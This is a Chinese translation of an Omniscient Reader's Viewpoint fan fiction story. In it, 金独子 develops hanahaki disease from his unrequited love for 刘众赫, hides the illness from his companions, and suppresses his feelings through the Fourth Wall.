《转载站》
1. 【众独】用你的手扼住我的咽喉
From 老福特
原作:wrap your hands around my throat (I don''t mind)
作者:Rivani
关键词:花吐症暗恋 448+
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Sammary:
金独子意识到自己坠入爱河的那一天,也是他意识到自己将要死去的那一天。
标题来自Wombat的Be Your Shadow
Kiss me with your fist it''s all right
Wrap your hands around my throat I won''t mind
I''m permanent, now I won''t go
I just wanna be your shadow
1.
他们得到了短暂的休息时间。金独子记得在《灭活法》原作中,这种情况一般会在刘众赫被星流判定为“通过场景的速度太快”时发生,给出的借口是下一个场景安排重复。实际上,鬼怪管理局可能正面临对主角团“盖然性”的质疑,并正在考虑增加下一个场景的难度。不管怎样,距离重头戏真正开始还有一周左右的时间,其他人倒是松了口气。
听到公告后,他们各自决定了如何度过这段时间。李雪花和金独子的母亲已经回到城南市的诊所。柳尚雅和韩秀英一起消失去了某个地方。韩明吾、宫必斗、张夏英也各自分开了。李贤成和郑熙媛在省内维持秩序。剩下的是刘众赫、刘美雅、李智慧、李吉勇、申喻胜和金独子。
金独子还没来得及出发去找对下一个场景有用的道具,孩子们就拽住他的胳膊,把他拖了出去,帮他们想办法提高召唤的野兽的等级。直到金独子答应会留下几天的时候,两个孩子才放他走。
等他们回到工业园区时,太阳早已落山。金独子让孩子们睡下了,然后前往分配给他的房间。在大厅里游荡了大约半个小时试着找到那间房,但没有成功。他来到一扇敞开的门口,光线洒进了黑暗的走廊。听到刘众赫低沉的声音,他悄悄靠近。
刘众赫和他的妹妹并排坐在一张双层床的底部。刘美雅的膝盖上摊开一本书,低着头。
她大声朗读,声音轻快,带着熟悉的节奏。
“我的生活很单调,”狐狸说:“我去捉鸡,人来捉我。母鸡全都长得一个模样,人也全都长得一个模样。所以我有点腻了。不过,要是你驯养我,我的生活就会变得充满阳光。我会辨认出一种和其他所有人都不同的脚步声。听见别的脚步声,我会往地底下钻,而你的脚步声,会像音乐一样,把我召唤到洞外。还有,你看!你看到那边的麦田了吗?我是不吃面包的。麦子对我来说毫无用处。我对麦田无动于衷。可悲就可悲在这儿!而你的头发是金黄色的。所以,一旦你驯养了我,事情就变得很美妙了!金黄色的麦子,会让我想起你。我会喜爱风儿吹拂麦浪的声音……” [ 1 ]
——小王子,安托万·德·圣埃克苏佩里
刘众赫看着妹妹,金色的光芒将他的下巴和颧骨的棱角打得圆润,让他的脸看起来更柔和,更年轻。这样的他短暂而不真实。
“哥哥,”刘美雅说,“小狐狸为什么不叫别人驯服他呢?他明明知道小王子要走了。”
“也许他不想要其他人,”刘众赫说。他的声音很温柔。
金独子盯着两兄妹,感觉胸口有什么东西在轻轻抽动。他清了清嗓子,刘众赫的头猛地抬起。眼睛眯了起来,双手探向膝盖上的剑;一瞬间,他从哥哥刘众赫变成了霸王刘众赫。
他们对视了一会儿,刘众赫放松下来,宽阔肩膀上的紧绷感消失了。 “金独子,”男人粗暴地打了声招呼。 “你又迷路了?”
金独子笑了: “我不把它定义为迷路,”他轻描淡写地说。
“这套说辞还是留给以前没听过的人吧。” 刘众赫站起身来,双手将剑带扣回腰间,动作随意,正如他曾经无数次做过那样。 “美雅——”
“我不会乱跑的,”女孩拉长声音,翻过一页。 “反正我有剑,也可以保护好自己。”
刘众赫皱了皱眉头,但没再说什么,大步走出房间,从金独子身边走过。
“你没有让李吉勇或者申喻胜带你去你的房间吗?” 刘众赫瞟了一眼金独子,后者慢吞吞地跟了上去。
“我让他们去休息了,”金独子回答道:“明天我们要出城。”
刘众赫的眉头皱了起来。 “你要做什么?”
“他们想给召唤兽升级,”金独子说着,摊开双臂。 “首尔市这里的空间不够,所以我们准备去山里。”
“李吉勇还在用四级虫王。”刘众赫皱眉道。 “等级越高的生物越强大,但他似乎更喜欢使用单个生物而不利用群攻。申喻胜可以自己控制奇美拉龙,但受到冷却时间的限制。她在个人战里速度很快,但缺乏自信。 ”
金多嘉停顿了一下。当他再次开口时,却是难得的凝重: “谢谢你照看他们。”
刘仲赫哼了一声,但没有回应。又走了一会,他停在了一扇和他们经过的其他的一样毫不起眼的门前。 “这里。”
金独子盯着门上的数字牌。 “191?”
“你至少应该能记住这个,”刘众赫硬邦邦地说。
“谢谢。” 再次感觉到喉咙发痒,金独子清了清嗓子,冲刘众赫笑了笑。 “明天早餐时见,”他说。
“你可以自己做,”刘众赫咕哝着说,然后顿了一下。 “等人来接你,再自己离开房间。”
“不至于吧……”金独子苦笑着回答。
刘众赫看着他,面无表情。
“我会等的。”金独子说。
刘众赫点了点头,离开了。金独子推开门走进房间,嘴角挂着的笑容落了下来。喉咙里恼人的痒又回来了。他捂住嘴,轻咳一声。
当他把手移开时,入目是一片鲜艳的色彩。
一片金色的花瓣落在他的手背上。
2.
第二天一早,金独子被敲门声吵醒了。他侧身从床上滚下去,抓起牢不可破的信念。他飞一般地过房间,猛地打开了门。 “怎么了?” 他问道。
李智慧对他眨了眨眼,显然吓了一跳。 “没事啊!” 她惊讶道。 “师傅让我来接你吃早餐。”
“啊。” 金独子肩上的紧绷感渗出,他放下了剑。 “对不起,智慧。”
“没关系。” 她看了他几秒,然后小声说了一句。
“你说什么?” 金独子问道,将剑束在腰间。
“哦,我只是说我要去训练了!” 智慧大声回答。 “我带你去厨房,然后就走。”
金独子看了她一会儿,然后笑了。 “那我就不留你了。”
李智慧在她这个年纪已经相当高了,但她仍然需要走得更快才能跟上金独子的步伐。几秒钟后,他放慢了速度。
“大叔,”她说,“你打算在休息期做什么?”
“有几件事我想处理,”金独子含糊地回答。
“比如?”
“事。” 金独子笑眯眯的眼角弯了弯。 “刘众赫打算让你做什么?”
李智慧开始叙述她的日常,一边说一边挥手。
“——然后我必须确保在完成后以 2k 跑步冷却下来。重要的是让你的肌肉恢复调整…… 唔,我们到了!”
这里的是一扇钢门,门上标着一块牌匾,上面写着[食材准备处]。
“冰箱里应该有做早餐的东西,”李智慧说。 “我得走了,快迟到了。待会见,大叔。”
“谢谢你,智慧。”
她双指并在太阳穴朝他一挥,匆忙离开了。
厨房灯火通明,可能是工业园区最干净的房间了。金独子一进门,就被放在被保鲜膜覆盖的钢制台面上的三个盘子吸引住了。上面贴着一张便条,上面写着刘众赫棱角分明的字迹:吃。
金多子噗嗤一声笑了出来。 “不是说不给我做早餐吗?” 他喃喃自语。下一秒,他唇角的笑容褪去,用手臂捂住嘴巴,开始咳嗽。当他把手拿开的时候,又长又细的金色花瓣落在了他的袖子上。
金独子低头看着花瓣,面无表情。他把花瓣扔进垃圾堆,洗了手,才吃下刘众赫为他做的鸡蛋。
等他把盘子洗干净,放在烘干架上,他才用手抹了抹脸。
“不错,”他说。 “他妈的。”
【你知道这是什 么】第四墙说道。
“嗯。”
【你知道这是为什么】第四墙说。
“是的。”
第四面墙沉默了几秒。然后,几乎犹豫不决,它说【你知道如何治愈】
“知道也不可能去做。”
这是金独子第二次与第四墙进行这种讨论。第一次,当然,在前一天晚上,第一片花瓣出现的时候。第四面墙可能已经有些依赖他,几近坚持地要他尝试做点什么。
花吐症是金独子相当熟悉的东西,这是一种很常见的说法,他见过不止一部网络小说或漫画描绘了这种以花卉为基础的设定。他只是从没想过这会发生在现实生活中。
金独子叹了口气,重新审视着了眼前的任务面板。
【隐藏剧情:金独子心中的花开】
[类别:隐藏
难度:???
明确条件:金独子坠入了爱河。然而,他的感情对象并没有回报他的感情。他们的爱必须是相互的,否则只会给金独子带来痛苦。
时限: ???
补偿:金独子最爱的人的爱。
失败:被称为金独子的星座的死亡。]
金独子的优先事项列表中从来没有出现过浪漫,但场景似乎并不这么认为。爱……?他不认为他可以说他曾经感受到过如此强烈的东西。
至于系统似乎相信他爱上了谁,他在准备睡觉的时候已经猜到了一些,仔细思考了一下。
刘尚雅是他脑海中第一个出现的人。她是狄奥尼修斯试图让他亲吻的那个人,而珀尔塞福涅也变成了她的样子。这意味着星流中不止一个人相信他被他的前同事所吸引。不过,虽然在场景开始后,两人的关系越来越亲密,但这种亲密却始终是基于两人在场景开始前便相识。他尊敬刘尚雅,但那些感情从未演变成接近爱的东西。
李贤成是他在地铁里遇到的第二个人。金独子喜欢他的热情和真诚,但那不是爱。
郑熙媛是金独子见过的最强大的人之一——在很多方面。他尊重她,对她抱有责任感,但不可能是她。
韩秀英是金独子可以说他在这个世界上信任的少数人之一。她比大多数人都清楚金独子是个什么样的人。同样地,金独子也认可她作为一个为了“结局”而努力的同伴。但是爱……?
怎么可能。
然后就只剩下一个人了。
金独子和刘众赫的关系很复杂。他可能是唯一一个知道对方经历了什么的人——当然,除了刘众赫自己。另一方面,他也很确定有一天刘众赫会折断他的脖子或者把他掐死。
那不可能是爱。
[一些星座抱怨他们看不懂场景说明。]
[许多星座都想知道为什么这条信息流被审查了。]
【‘恶魔般的火之审判者’星座想知道这件事是不是她想的那样。】
[已赞助500个硬币。]
[您已将500个赞助币归还给星座。]
金独子抬头看着天花板,轻声说:“这不是你的故事之一,乌列尔。”
【星座‘恶魔般的火之审判者’说的还是有希望的。】
金多子摇摇头。 “这次不行。”
就算不考虑他并没有爱上刘众赫,根据场景描述,结局只有一种。
死亡。
【‘恶魔般的火之审判者’星座正用悲伤的眼神看着你。】
3.
正如他对刘众赫所说,孩子们吃完早餐后,金独子带着李吉勇和申喻胜出城,而李智慧则留下来和刘众赫、刘美雅一起训练。孩子们坐在奇美拉龙头上,兴奋地指着下方城市的各个地方。
“大叔,素英阿姨的诊所就在那儿!”
“哥,在那个公园那边,我抓到了泰坦诺二代。不过几天后就被吃掉了……”
“大叔不在乎你愚蠢的泰坦诺替代品,白痴。”
“这也比告诉他他已经知道的事情要好!”
金独子看着两个争吵不休的孩子,某种温暖的东西在他的胸口展开。
大约一个小时后,他们降落了。至少到目前为止,这些场景并未影响朝鲜半岛的农村地区。无人居住的高地和山区基本没有受到影响,只有散布在城外的小村庄和聚落见证了场景下发生的暴行。当然,还有星流和星座无时无刻不在的冰冷的凝视。
在最初的《灭活法》中,刘众赫很少(如果有的话)冒险超越省界。小说曾简短地提到在刘众赫回到城里之前发现了一座满是血迹的寺庙。
一些幸存者会提到试图联系该国其他地区的家人。其他人则谈到被赶出农村,前往城市,为了取悦星座而被迫前往他们将面临最大危险的地方。也许星座没有发现荒野生存节目符合他们的口味。
刚一落地,李吉勇就向前一倾,急忙下车的申喻胜差点撞倒。
“嘿!” 申喻胜皱着眉头,爬到奇美拉龙的侧翼,往上看。 “笨蛋,在我们离开之前你吃了什么让你恶心的吗?”
“它已经消化了,”李吉勇呻吟着,抱着自己的肚子。
金独子一把抱起申喻胜的腰,将她放在地上,然后伸手从大衣口袋里掏出韩秀英留在里面的一根棒棒糖。 “试试这个,”他提议道。
李吉勇接过棒棒糖,用牙齿撕下包装纸,然后塞进嘴里。 “谢谢,哥,”他说,脸上的不适明显减轻了。 “不过我没事。一会儿就过去了。”
“好,”金独子回答。然后,“既然已经到了,我们讨论一下接下来要做的事。”
轻松愉快的气氛消失了,两个孩子抬头看着金独子,脸色变得凝重起来。
“吉勇啊,”金独子开口道,“你有几只很强大的虫子来支配。泰坦诺给了我们很大的帮助,尤其是在场景刚开始时。”
听到这里,李吉勇笑了。
“你可以影响的动物范围仅限于昆虫,”金独子继续说道。 “但是,你不能认为这是一种限制。昆虫的数量远远超过任何其他类型的动物。与其寻找一两个非常强大的,你应该考虑使用群攻来压制我们的敌人。”
“不过,虫族的怪物变少了,哥,”李吉永说道。 “我只能偶尔找到它们。”
“你不需要去寻找,”金独子指出。 “你之前不也没特地去找泰坦诺吗?”
李吉勇撅着嘴思索之际,金独子拍了拍他的头。 “我会告诉你怎么做的。”
李吉勇抬手摸了摸自己的头顶,睁大眼睛看着金独子。
“接下来是喻胜,”金独子说。 “能独自驾驭奇美拉巨龙,是一件很了不起的事。泛滥之灾祸控制的最强魔物是5级。”
申喻胜被表扬得脸红了,但金独子继续说道。
“但是,她控制着两只五品兽和无数六品兽。虽然奇美拉龙很强大,但只有一只野兽在身边,这意味着如果它被控制住,你可能会束手无策。另一个申喻胜本身也是非常强大的。她能够与刘众赫正面交锋。”
申喻胜张开嘴准备说些什么,金独子严厉的表情消失了,语气也缓和了下来。
“当然,她也经历了数百年的磨难和磨练。你不需要经历那些。你有刘众赫、韩秀英、尚雅、贤成、熙媛,还有其他大人——还有我。有很多人会和你站在一起保护你。但如果我们发生任何事情,我希望你们——你们俩,”他看着李吉勇补充道,“也能够保护自己。”
两个孩子都点了点头,眼睛都亮了。李吉勇抽了抽鼻子,申喻胜用手背揉了揉眼睛,他叹了口气,将两人抱在了一起。
“你们俩现在都这么大了,”他低声说。
【有些星座对这个场景感到厌烦。】
【有几个星座好奇你的计划。】
【一个喜欢小孩的星座在微笑。】
【星座‘金箍的囚徒’希望看到孩子们变得更强壮。】
【星座‘恶魔般的火之审判者’深情地注视着。】
【星座‘隐秘的谋略家’感兴趣地注视着。】
[已赞助 1,000 个硬币。]
直到太阳落山时,他们才返回首尔。当他们停在工业园区正门外的街道上时,城市被橙色和粉红色的光淹没了。李吉勇先下车,脸色依旧苍白,但比之前稳重了许多。
孩子们把他拉到刘众赫站在炉子前的厨房。一打开门,他立刻道:“出去。”
“但是啊,”申喻胜说,“我们只是想吃点东西。” 她用水汪汪的眼睛抬头看着他。
“出去。”刘众赫重复了一遍,终于从他正在搅拌的锅上抬起头来,狠狠地瞪了他们一眼。 “你们身上很脏,不能留在这里。”
金独子清了清嗓子。 “过来吧,你们在身上的泥巴结块之前把它弄掉。”
“好吧,”他们齐声说,冲向浴室。
金多子在门口徘徊。他再次清了清嗓子,强忍着咳嗽的冲动,道:“谢谢你的早餐。”
“你也出去。”刘众赫冷冷地告诉他。金独子还没动,“你带李吉勇去取虫卵。”
“好,”金独子回答。 “数量很多,如果他养起来,会更容易控制。”
在灭活法中幸存下来的昆虫控制者并不多。然而,曾经有一个女人,一个徒步旅行者,向刘众赫提到了这件事。
在场景的中间,许多昆虫怪物更喜欢在城外产卵,这样它们就可以孵化并利用当地的野生动物成长到可以杀死和吃掉人类的大小。
有多个巢分布在全国各地的山脉和国家公园中。今天他们参观了位于首尔市北部的北汉山国家公园,但他们将在未来的日子里前往更远的地方。
“那很好。” 刘众赫一边说,一边调整着炉子的温度。
金独子看了看他侧脸的轮廓。锅里冒出的热气抚摸着他的面庞。当他再次抬头看向金独子时,头顶的灯光照亮了他的脸颊。那双仿佛直视金独子灵魂的眼睛眯了起来。
“还有别的事吗?” 刘众赫低沉的声音在金独子的耳边响起。
金独子感到胸口一紧。他强迫自己露出灿烂的笑容。 “没什么。一会儿见。”
刘众赫嗯了一声表示答应。
金独子溜出房间,强迫自己保持步伐稳定,沿着孩子们留下的泥点小路走去。等他确定自己已经走远了,金独子就加快脚步,躲进了一个侧屋。门一关上,他就翻了个身,剧烈地咳嗽起来。
即使第四道墙阻隔了部分感官功能,金独子的眼角也涌出泪水,他跪倒在地,呼吸困难。他的肩膀颤抖着,双手捂住嘴巴,开始作呕。最后一声咳嗽,房间里再次安静下来。金独子的手中放着一朵黄色的花朵,花瓣上沾满了鲜血。
一朵蒲公英[2]。
金独子发现自己在笑。声音从他胸膛深处的某个地方滚滚而出,一种窒息的、刺耳的东西撕扯着他的喉咙。
“原来如此,”他苦涩地说。 “嗯,他像野草一样固执,好吧。”
他擦去眼角的泪水和嘴唇上的血迹,把花塞进外套口袋里,以便以后再处理。说完,他站起身来,独自一人在黑暗的房间里微微一笑,然后踏入了大厅。
4.
接下来的几天平淡地过去了。每天早上,金独子都会去厨房,刘众赫会在那里为他和孩子们留下食物。早餐后,他将李吉英和申喻胜领到奇美拉龙的背上,他们飞行了几个小时,才到达了灭活法中提到的目的地之一 。到达那里后,孩子们将在韩国的森林和山脉中度过余下的一天。
游荡在这些地区的怪物绝大多数都是六级到八级,但也有一些更高等级的野兽,申喻胜会试着驯服。遇到八级猎蜂、七级虫王等类虫生物,就轮到李吉勇出手控制了。如果他失败了,他们会杀死成年人,然后在附近寻找产卵地点。这样,孩子们既获得了与更强大的生物战斗的经验,也获得了与更弱但更多的敌人战斗的经验。
远离城市和人类的丑陋,他们唯一需要担心的就是无聊的星座偶尔带来的场景。这对他们所有人来说都是不错的缓刑,尤其是李吉永和申喻胜。杀戮已经成为他们生活的一部分,但如果他们的敌人不顶着人脸,那他们肩上的负担只会更轻。
这对他们有好处,金独子想。孩子们很坚强,但归根结底,他们还是孩子。尽管他们表现得好像已经适应了这些场景,但他们两人有时仍然难以维系勇敢的表象。金独子理解同年被剥夺的感觉,虽然这些匆忙抢夺来的时刻永远无法替代完整的童年,但这是他所能提供的一切。
在夜幕降临之前,他们将返回工业园区。有时,金独子公司的其他成员也会回来,但通常最终只有他们六个人。
尽管刘众赫最初声明金独子需要为自己准备食物,但该男子非常坚决地认为厨房里不应该有其他的任何人出现。有一次金独子主动提出准备晚饭,刘众赫竟然用刀指着金独子的脖子。直到金独子提醒他吃过自己做的东西,而且并没有吐出来,刘众赫才勉强让步。
于是,金独子每天晚上都和刘众赫一起待在工业园区的厨房里。事后看来,他可能不应该那么坚持。
刘众赫是个好厨师,现在他们从附近的餐馆里找到了更好的烹饪设备和真正的香料,他的技能可以很好地发挥出来。大多数时候,他以一种几乎毫不费力的冷酷效率做所有事情。他下达的命令准确而简短,且期望金独子严格执行。
有时,金独子和孩子们会提前回来,他们会看到刘众赫和他的妹妹和李智慧一起训练。他以同样的精度标准来教他们。没有任何运动是浪费精力的。每一个动作,每一个姿势,每一次呼吸 ,都是经过衡量和控制的。
本来应该是生涩的或者粗糙的动作,但他是在黑暗里修炼了无数年的人。在他做示范的时候,即使是简单的练习也变成了一种风景。高雅可不是金独子敢用来形容刘众赫的。相反,更恰当的说法是,他就像一个捕食者,自信地动作着,准备攻击时肌肉中盘绕着力量。
然后他会收起他的剑,但那压倒性的存在仍然存在。
金独子无法否认,他的眼睛忍不住地飘向刘众赫。他的喉咙会发干,每当被刘众赫眯起的闪着光的眼睛,或者他垂在额头上的卷发分心时,他就会忍不住咳嗽起来。他会想到即使不使用[全知读者视角],他也能从刘众赫的下颌里读到的那种纯粹而愚蠢的决心,他的固执使他拒绝放弃,且一定要拼尽全力。他那炽热的信念驱策着他不断前行,哪怕其他任何人都会被这股力量拉扯到筋疲力尽。
金独子在刘众赫穿过场景时,花了十多年的时间透视他的生活。他知道这个人曾经达到过的高峰和低谷。金独子知道他在第 80 回 、第 190 回 、第 1100 回失去同伴之后崩溃的方式,也了解那几回刘众赫以为终于能成功,结束回归时那种纯粹的满足和喜悦。刘众赫并不冷酷。他不是冷酷无情的杀手,也不是星流棋盘上的棋子。驱使他前进的不是仇恨和愤怒,那些终会被燃尽的。相反,它是一种更脆弱,但不知何故更为恒久的东西:希望。
一天天过去,金独子不得不意识到,他面前的刘众赫不仅仅是纸上的墨水或屏幕上的字体。他和李吉永或柳尚雅一样真实,即使在场景开始之前他还没有以物理上“人”的身份存在。他会感到疼痛,他笑也会哭,会让金多子的肺里透不过气来。
他不需要喉咙里的痒就知道他在某个时刻坠入了爱河。
但那也不会改变任何事情。
金独子从第一天起就惹恼了刘众赫。他们的第一次会面以金独子被从桥边扔下而告终。刘众赫想杀他的次数,单手都数不过来。他大部分时间都是独自待着或训练。虽然他比场景初期时说得更多了,但刘众赫更多地只是用深邃的眼睛看着金独子,看着他跌跌撞撞地拉扯着每个人平安通过场景。
起初,金独子还以为刘众赫只是在等他搞砸。也许他在任金独子抻松那根无形的套索时也在越拉越紧。然后,终有一天,当金独子不再有用时,他会松开手,让绞索收紧。毕竟,金独子只是在扮演这个故事的主角。真正的主角不需要读者。
随着时间的推移,情况发生了变化。他们的目标一致,他现在可以盼着刘众赫和他并肩作战。他甚至敢说刘众赫把他当朋友。但这并没有改变刘众赫不可能爱他的事实。
刘众赫这样的人是不可能爱上金独子这样的人的。
这意味着他很快就会死去。
于是,每天晚上,金独子都坐在刘众赫对面的餐桌上,餐桌上空了一半。他看着刘众赫低头听妹妹说话的样子,看着她扭过头的时候,他的眼眸里透出几分温柔。他听着刘众赫一贯严肃的嗓音在他耳边轰鸣,直到——
直到他们的小假期结束了。
5.
最后一天的早上,其他人渐渐回到工业园区。所有人都到齐后,金独子将他们聚集在一间较大的房间里。
“怎么了?” 韩秀英用口香糖吹了个泡泡。
“接下来的剧情有什么重要的事情吗,独子先生?” 郑熙媛问道。
金独子看着他们这群人,目光沉浸了一瞬,然后笑了。 “嗯,我想讨论一下接下来的战略。之前说的——”
告诉他们是没有意义的。
在这一点上弊大于利,更会分散他们对眼下即将到来的漫长苦战的注意力。金独子虽然想活下去,但也不想把把这份重担强加在队友们身上。他知道,以前他死掉之后,其他人都很难过,尽管他总能死里逃生,以一种相对“完整”的状态回到大家身边。如果他们知道金独子这次有可能回不来了——他会真正地,永远地死去——那么他们可能因这次隐瞒而感到被背叛。但尽管如此……
说他自私也好,但金多子不想看到他们的反应。他不想面对他们的愤怒或指责。他只是想让这一切结束。他厌倦了等待帷幕落下,等待绞索收紧,等待不可避免的坠落。而且,无论结果如何,他是死是活都没有那么重要,只要他们坚持走到了结局。
接下来的几个场景很顺利地过去了。他们能够跳过一些比较乏味的,但有很多无法避免。它们本身并不危险,但归根结底,即使在最简单的隐藏场景中,他们每个人都可能陷入困境并死去。金独子经常和刘众赫和韩秀英一起坐到深夜,为了制定未来几天的策略和计划。随着商定的重要行动逼近,金独子感到胸口发紧的原因不止一个。
有时候,金独子和其他人交谈时,不禁觉得自己在上演某种怪诞的单人表演。他不知道自己从哪里找到自信伪装出这幅引导一切的做派。不知何故,他欺骗了周围的所有人,让大家依靠着这个人,尽管三年前,金独子连一份稳定的工作都没有。
金独子继续伪装出无碍的姿态。他相当自信,没有人注意到任何异常。他们的生命每天都处于危险之中,有更大的事情要担心。除此之外,金独子在隐藏他的痛苦方面也有多年的练习。他忍住可能引起警觉的咳嗽,并在锯齿状的叶子划伤他的肺时保持着一张严肃的脸。只是在夜深人静的时候,小溪里充斥着广告,化身们都睡着了,他才从大家身边溜走,任由自己捧起一把花瓣。
幸运的是,他们都变得越来越疲惫。每个人都处于紧张状态,随时准备好迎接鬼怪或一些无聊的星座可能带来的任何“惊喜”。金独子不是唯一一个脸色变得苍白的人。有刘众赫在,他们不可能不吃得好,但面前的挑战仍然沉重地压在他们的肩上。
从头到尾,金独子从未放松过自己的表演。但这并不意味着毫无差错。
“独子先生,”一天晚上,柳尚雅说。 “你睡得好吗?”
他们俩一起守夜,坐在篝火旁,而其他人则尽其所能地休息。
“不比任何人差,”金独子咧嘴一笑,但柳尚雅皱着眉头摇摇头。
“并不——你看起来很紧绷。有什么担心的吗?”
刘尚雅对别人的感受十分敏锐,有时也可以说是种不幸。
“如果有什么事,你不觉得我会告诉你吗?” 金独子回答。
刘尚雅的回答很迅速 “不会。”
这也太伤人了。
金独子想着他做了什么才配得上这样的缺乏信任。 “真的没什么,尚雅小姐,”他轻声说道,表情更加严肃了。 “谢谢你的关心,但我没事。我已经跟韩秀英和刘众赫谈过我的计划了。”
“那就太好了……” 柳尚雅依旧一脸疑惑,但她似乎接受了这套说辞。
他们在轮班前轻声聊了几句,然后叫醒了下一对,即郑熙媛和刘众赫。金独子倾身到刘众赫身前,忍不住停了几秒。睡眠使刘众赫的面容有些柔和,火光在他长长的睫毛下投下闪烁的阴影。
金独子咽了咽口水,摇晃着对方的肩膀。刘众赫动了动,然后翻身起身,手落到剑柄上。只过了片刻,睡意就从他的眼睛里消失了,他站在那里做好了准备。
“晚安。”金独子说着,在刘众赫刚离开的地上摔倒了。刘众赫的体温还算温暖,离火很近,金德子能感觉到脸上散发出的热气,但他的后背仍因寒冷而轻颤。他闭上眼睛,听到刘众赫咕哝了一声作为答应,然后便越走越远,他的靴子在地上发出咔哒声。火噼啪作响。
金独子听着树枝在火焰里折断的声音沉入梦中。
第二天早上吃完早餐后,李雪花过来。
“独子先生,”她平静地说。 “我们谈谈你介意吗?”
金独子停顿了一下,然后完成了灭火。 “当然不是。”
“尚雅小姐和我谈过了,”李雪花坦率地说。 “我想了解一下你的健康状况。”
“啊,尚雅小姐吗?” 金独子挠了挠后脑勺笑了笑。 “真的没事,雪花小姐。”
“你介意我自己来验证吗?”
金独子看着她的眼睛,笑了。 “来吧。”
多年来,李雪花的【合格医师】属性有了显着的提升。她现在评估某人健康的能力类似于历史剧中的医生,只需检查某人的脉搏即可做出诊断。
她检查完后咂了咂舌,踩着高跟鞋站定。 “嗯,”她说,“你好像没事。”
金独子挑眉。 “没错吧?” 他问道,然后叹了口气,懊恼地说:“我想得到你们比这更多的信任。”
出于特定的原因,金独子并不担心李雪花会发现自己的症状。似乎没有一个星座能够看到或听到任何与他的“状态”有关的东西,这让他们非常惊愕。在他最痛苦的时刻,金独子想着哪个星座或鬼怪正看着他慢慢地死去,满足自己的趣味。无论如何,似乎只有他自己说出口才能让别人发现具体的问题,而他短期内没有这种打算。
如果这个场景在灭活法里出现过,金独子本可以立即解决它。但是,金独子翻遍了三千多章,从来没有提到过这样的事情。他一页页地翻阅了鬼怪包,但没有一件道具看起来与他的病有关。此外,任何可以通过快速购买来解决的方案对于星座来说都远远不够令人满意。
金独子读过的网络小说往往会在主人胸前花的确切位置有所不同。有时它们会从心脏生长,有时会从肺部生长。金独子曾试图吞噬它,让它成为他的一部分,就像他把龙的心脏当成自己的一样。那些尝试都以失败告终,最后金独子看着刘众赫的时候,还是觉得心头一颤。
最后,他被迫承认他所阅读的所有内容都认可的一种解决方案。有一种手术可以完全去除受苦者身上的花朵和种子。它不一定能成功,有时会在手术过程中出现戏剧性转折,最终导致病人死去。不过,有一点很清楚。如果手术成功了,那么角色就不会再对曾经爱过的人有任何感情了。此外,很多小说都说,他们会失去对曾经爱过的人的所有记忆。
因此,如果他把树枝拿掉,他可能就记不起与刘众赫有关的任何事情了。这包括灭活法的全部内容。金独子不可能放弃对未来场景的了解。
再说了,就算他想告诉别人,更不用说做手术,李雪花也绝不会是他的首选。告诉她,就是在告诉刘众赫想与之建立家庭的那个女人。在无数次的生命里,她是刘众赫唯一让自己爱过的人。
李雪花抿了抿唇,退了回去,准备拆解他们的临时营地。看着她走开的背影,金独子的胃翻腾起来。
他足够自觉,能意识到他嘴里那种苦涩的情绪是嫉妒。多年来,它一直是金独子的“好伙伴”。他听同学们谈论他们的家庭时;每个显出富有路人都是值得嫉妒的。当他被派往非军事区时,他希望自己能成为被派往安全区为他们服务的人之一,而他的同事总是比他更成功,更有风度。金独子年轻的时候,他想知道为什么不能是他。然后,随着岁月的流逝,他意识到除了听命于自己的命运之外,别无他法。
归根结底,金独子只是一个丑陋、饥饿的生物,生活在黑暗中,渴望从天而降的光芒。那光永远遥不可及;它留给那些笑到眼睛里,心里没有空洞的人,那些知道什么是善良,不必假装是人的人。
在那打着呵欠、无处不现的嫉妒之下,燃烧着对可怜的无父母、不被爱和不受欢迎的金多子的自怜。金独子知道他是一个多么没用的人。然而,当树枝缠绕在他的肺部时,他只希望有那么一次,有人会想要他回来。
【‘第四面墙’剧烈晃动。】
感觉喉咙里的肿块通常先于咳嗽发作,金多子强迫自己后退了一步。他转身离开其他人,将手心按在额头上,深深地吸了口气。
【‘第四面墙’正在稳定。】
金独子感觉到自己汹涌澎湃的情绪开始平静下来。几秒后,他彻底平静了下来。
金独子顿住了。
【金独子想:也许……】
他想知道第四面墙是否可以用来让自己远离情绪。如果爱是问题,那么他只需要不再爱了。
【不.】
在场景的初期,第四面墙帮助他保持稳定。对他来说,保持足够冷静的头脑是至关重要的,即使面对看似无法克服的危险,他也能幸存下来。是什么改变了这点?
【‘第四面墙’在看着你。】
【这 样是救不了你的。】
金独子不需要清除所有场景。他只需要到达最后一堵墙。
【这样做不能保护你.】
如果金独子因这愚蠢的场景而死,他就再也不会需要任何保护了。
停顿了好久,第四道墙终于松了口气。
【笨蛋金独子. 你会后悔 的。】
【‘第四面墙’正在固化。】
几乎是瞬间,金独子就感觉到有什么东西发生了变化。呼吸时,胸口不再有紧绷的感觉。淹没在他身上的巨大而压倒性的绝望慢慢地被冲走了。几周来第一次,金独子感到紧张从他的皮肤下消失。
金独子转身看着营地的其他人。刘众赫在倒塌的摩天大楼残骸旁与李贤成交谈。天空慢慢地染上了色彩,刘众赫被涂上了粉彩仍然破晓的太阳照在破碎的玻璃窗上,用日出的紫色和红色亲吻着他的皮肤。他既空灵又真实。
金独子看着他,什么感觉都没有。
他笑了。
6.
“金独子出什么事了吗?”
韩秀英在刘众赫即将越过她走到晚饭餐桌时抓住了男人的胳膊。 “喂,我在和你说话。你知道发生了什么事吗?”
“你是那个和他交流更多的人。”
“我是认真的,”韩秀英厉声说。 “他最近表现得很奇怪。”
“他一直这样,”刘众赫皱着眉头,但他知道韩秀英是对的。
最近金独子有些不一样这个男人似乎总是储备着一些毫无意义的,完全无关紧要的评论。但这几天他几乎不再说话了。他与李吉勇和申喻胜交谈时,只为他们保留的那种短暂但真实的温暖消失了。甚至他与比喻的互动也很简短。金独子似乎完全沉浸于快速清除场景,几乎不顾一切。
“我认为他又在试图独自承担一些事情,”韩秀英皱着眉头。 “你知道的,那家伙觉得他必须自己处理所有事情。”
刘众赫面对面看着韩秀英,眉头紧锁。 “没有什么危险的事情发生,”他说。
“至少他没有提到,”韩秀英尖锐地回答。 “鉴于他最近几乎没有说过一句话。谁知道他背着我们在处理什么。”
刘众赫的手落到了剑柄上。 “如果他打算死在角落里——”他咬牙切齿地说。
“我们不会给他机会的。” 她说话的时候眼睛眯了起来。 “吉勇和喻胜会在晚饭后和他谈谈。我们看看他是否会流露出什么。”
“他以前对他们撒过谎,”刘众赫指出。
“有[测谎]的人会一直盯着他的,”韩秀英的声音充满自信。
